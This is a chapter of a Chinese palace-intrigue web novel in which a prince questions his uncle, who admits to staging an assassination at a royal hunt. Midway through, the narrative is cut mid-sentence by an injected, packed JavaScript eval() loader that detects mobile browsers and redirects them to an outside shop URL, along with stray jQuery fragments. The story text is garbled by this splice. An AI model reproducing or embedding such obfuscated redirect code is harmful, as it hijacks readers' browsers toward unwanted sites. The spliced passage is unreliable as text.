萧元宸回到休息场,看着受了惊吓的众人,四处乱窜,眼里满是不屑。
场中哭声、喊声,震耳欲聋。
不过是几个刺客,就将这些人吓成了这般。
苏芷兰和丞相夫人站在一处,并未乱窜,看见他,上前来迎。
“可有受伤?”
苏芷兰摇了摇头,“多谢挂怀。我与母亲本欲制止慌乱,奈何他们受到惊吓过甚,根本无法冷静。”
丞相夫人看了看周围混乱的场面,道:“皇子想想办法将众人归置,以免再发生什么意外。”
萧元宸点了点头,一挥手,侍卫入场,将慌乱跑动的众人渐渐围在了一处。
一圈一圈的侍卫围上来,惊慌的众人似乎有了些安全感,哆哆嗦嗦围在一处。
萧元宸道:“围场中已经没有刺客的踪迹,众位不必惊慌。巡防营的士兵已经将围场全部围了起来,安全了。刺客身份未明,需进一步查验,诸位受惊,各自回营帐休息,不要随意外出,扰乱现场。”
乌泱泱一群人,渐渐散开。
遇刺的尸体,已经被人抬出来,放在了空地处。
此次遇害的官员十数人,女眷仆从二十余人。
“寻仵作前来勘验,核实受害人员身份,若是有受害者家属闹事,稍作安抚,先看管着。”
“是。”
“御亲王,人在何处?”
“自从入场之后,与众人分散走开,并未有人再见到。”
“抓紧去找。”
“是。”齐子瑜领命速去。
萧元宸揉了揉额角,他心中还有诸多疑惑。
此次狩猎全权由萧御乾负责,如今出了乱子,人倒是不知去何处躲懒了。
使臣归去,太子又装模作样被禁了足。
目前萧御乾不在,这担子乐意接不乐意接,都到了他的肩上。
走过一具尸体,又走过一具尸体,结合林中看到的那一具尸体的身份,这些人似乎都有另一层身份。
可另外也有一些,似乎并无特殊身份。
看着满地的尸体,盛国如今堪比一个大漏勺。
他也有些心累。
回忆着刚刚看到的混乱场景,朝堂之上,酒囊饭袋之徒,比比皆是。
能保持冷静,临危不乱的寥寥无几。
这样的盛国,表面繁华,内里装满了棉絮,呵,虚假的繁盛,还能维持多久。
他颇为头疼,反正最后这江山也落不到他头上,表面享受了荣华富贵、上人尊荣,实则风里来雨里去,时时遭受考验,突然有点想撂挑子了。
猎场内的一棵大树上,萧御乾正趴在一根树枝上睡得香甜。
似乎对猎场内外发生的所有事情一无所知。
远处传来一声声呼唤,将他从睡梦中吵醒。
下意识翻身捂耳,人往树下歪去。
当机立断用脚抱树,就这么头朝下,倒吊着。
未有惊呼传出,他腰上传来拉扯感,视线转向腰部,那里有一条深蓝色腰带,正紧紧将他的腰捆在树上。
“哎呀呀,别看热闹了,快给我整起来。”
宁工从站在另一边树枝上,抱胸看着他。
“主子惯会挑地方,这么喜欢高处,多吊一会儿又何妨。”
“哎呀,来人了,来人了,你让我的面子往哪搁。”
宁工从叹了口气,摊上这么一个主子,有什么办法呢。
将人拉起来,扶着人下树。
来到树下,看着一群人慌慌张张的样子,他整了整散乱的衣物,道:“这么着急忙慌做什么?”
看了看正头顶的日头,“喊人吃饭,着急成这样?”
来人中的小领队道:“启禀王爷,围场中惊现刺客,三皇子命令我等前来寻找王爷。”
萧御乾就是一个原地起跳,“什么?刺客!刺客在哪里!”
“启禀王爷,刺客踪迹全无,目前尚未抓获。官员和官眷出现了伤亡,目前,”
萧御乾双眼一闭,身体软了下去,被宁工从从后牢牢接住。
腰上被人掐了一把,宁工从满脸黑线,“王爷受了惊吓,先护送王爷回去。”
帐篷被人一把掀开,躺在床上装死的人,被人揪了起来。
“干什么干什么!”
萧御乾看到来人的黑脸,呵呵一笑,“侄儿啊,叔叔年纪大了,受了惊,身体有点遭不住了。”
他顺势又要往下躺,“哎,人老了,做什么看着都很心酸呐。”
萧元宸眼疾手快,将人再度薅起来。
“小皇叔既然搭了场,演了戏,便唱完。何必将烂摊子扔给我。”
“你在说什么啊,听不懂,好困啊,我要接着睡觉了。”
萧元宸一把将人提下床扔地上,“遇刺的人中,有十数人已经锁定身份,为外族的细作。另一部分人,身份为何?是否也为细作?”
萧御乾睡不了觉,也很生气,气哄哄道:“你问我,我问谁去啊?都当细作处理,赶紧结案得了。左右冤假错案、屈打成招也不少,不怕多这点。”
“此次狩猎,本是小皇叔全权负责,出现意外,你躲懒,我已为你善后诸多事宜,后面的事情,你自己去处理。”
萧元宸见人还在装蒜,也不想再管这些破烂事。
“别啊,大侄子,叔叔体弱多病,经不住折腾,你再帮帮我呗,等回去卸了差事,皇叔请你吃饭。”
“自己管。我走了。”
“大侄子,大侄子!”
萧御乾一把抱住他大腿,不让人走。
“小皇叔可以说实话了吗?”
“得了,得了,告诉你,都告诉你,行了吧。”
萧御乾向来只有拿捏人的份,被人捏了鼻子,心里不痛快,看着气鼓鼓的。
“呐,自己看。”
从怀里掏出一个小册子,顺手扔了过去。
“这是?他国暗探的名册?”
册子上,有一些被打了勾,一些被打了叉,还有一些简单的批注。
“北堂靳邀我造反,塞给我的。”萧御乾瞌睡彻底清醒,这会儿有些饿,拿了个甜的腻人的糖果子,啃得很欢。
“......”这是否过于实诚了些?
“画叉的,是假的,画勾的,是真的,画圈的,凑数的。你瞧瞧,这些人真爱面子。怕少了丢人,凑这么多看着唬人。”
萧御乾有些想不通,“说要扶我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758345|206580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当皇帝,这么些日子过去了,也不见给我指条明路,除了给我这么一本没什么用处的破册子,就给我搁在这,不知道在忙些什么。”
一摊手,这笔生意做的很亏啊。他小命还在别人手里捏着呢。
“今日遇刺官员十数人,女眷仆从二十余人,共计三十六人,与册子上的人数对不上。”
“杀一个是杀,杀两个也是杀,别国的一道解决了呗。别装了,我不信你一点消息都没有。”
“既然知晓细作身份,为何不直接利用,”
“身边放着这么多毒蛇,明知道会寻机咬你一口,不如一锅全端了。”
萧御乾收起吊儿郎当的作风,“如今的盛国,再不复往日光景。处处透着腐朽与衰败,我能做的有限。接下来,就看你们的了。”
他的眼里,满是认真。
“皇叔这么为盛国着想,为何还安排刺客杀我?”
“哎,日子这般无聊,找点乐子玩玩。”
“试探我与太子是否一条心?”
“不要说得这么明白么,让我面子往哪里搁。”萧御乾吃完一个糖果子,又拿了一个,不甜,没味道,不好吃。
“小皇叔,难道没想过,自己去坐那个位置?”
“你想吗?”
“不想。”
“你又为何不想?”
“不喜拘束。”
“你都不喜欢的东西,我能喜欢?”
“......”
萧元宸想知道的都得到了答案,起身要离开。
衣角别人拉住,“自己的事情自己做,该怎么善后怎么善后,我不给你收拾烂摊子。”
“大侄子,别啊。你想知道的,我都告诉你了,你再帮帮我啊。死了这么多人,总得对外有个交代。”
“你没想过?”萧元宸愕然。
“没有啊。”萧御乾睁着无辜的大眼瞅着他。
“......”
“这不来的路上,太无聊了,想着搞点事情么。”
“想当初,祖上流传狩猎的规矩,还是为了能够劝诫群臣不可耽于享乐,形成靡靡之风,不可失了‘以武安邦’的气魄。如今,你再看看那些朝臣。一个个吃的膘肥肚圆,走路都喘。一天天正事未做几件,只顾着吃喝玩乐。大洗面,小洗面,大洗足,小洗足,大洗浴,小洗浴,呵,花样玩挺多。”
萧御乾走来走去,看来是说痛快了,袖子甩得虎虎生威,“昨儿个在路上,我一撩开马车帘子往队伍后面一瞅,嘿,这给我气的。这群人,一个个的,是来狩猎的,还是来游玩的?家伙什、仆从,家家户户,来个车队,人多也就罢了,装东西的还得好几辆马车。一个队伍能排二里地去。大姑娘上轿抬嫁妆呢?整这老些?”
“等安营扎寨后,我是越想越气,越想越气,气得我觉都不想睡了。我不好过,谁也别想好过。这不,头脑一发热,想着整一场混乱,吓吓这群人。”
萧御乾一摊手,“大侄子,你可得帮我,你知道我的,除了吃喝玩乐,我什么都不会。”
“等这次回去,我可得卸了这身重担,将政事还给皇兄。后面的事情么,你们自家事情,自家做主。”
萧元宸头又疼了。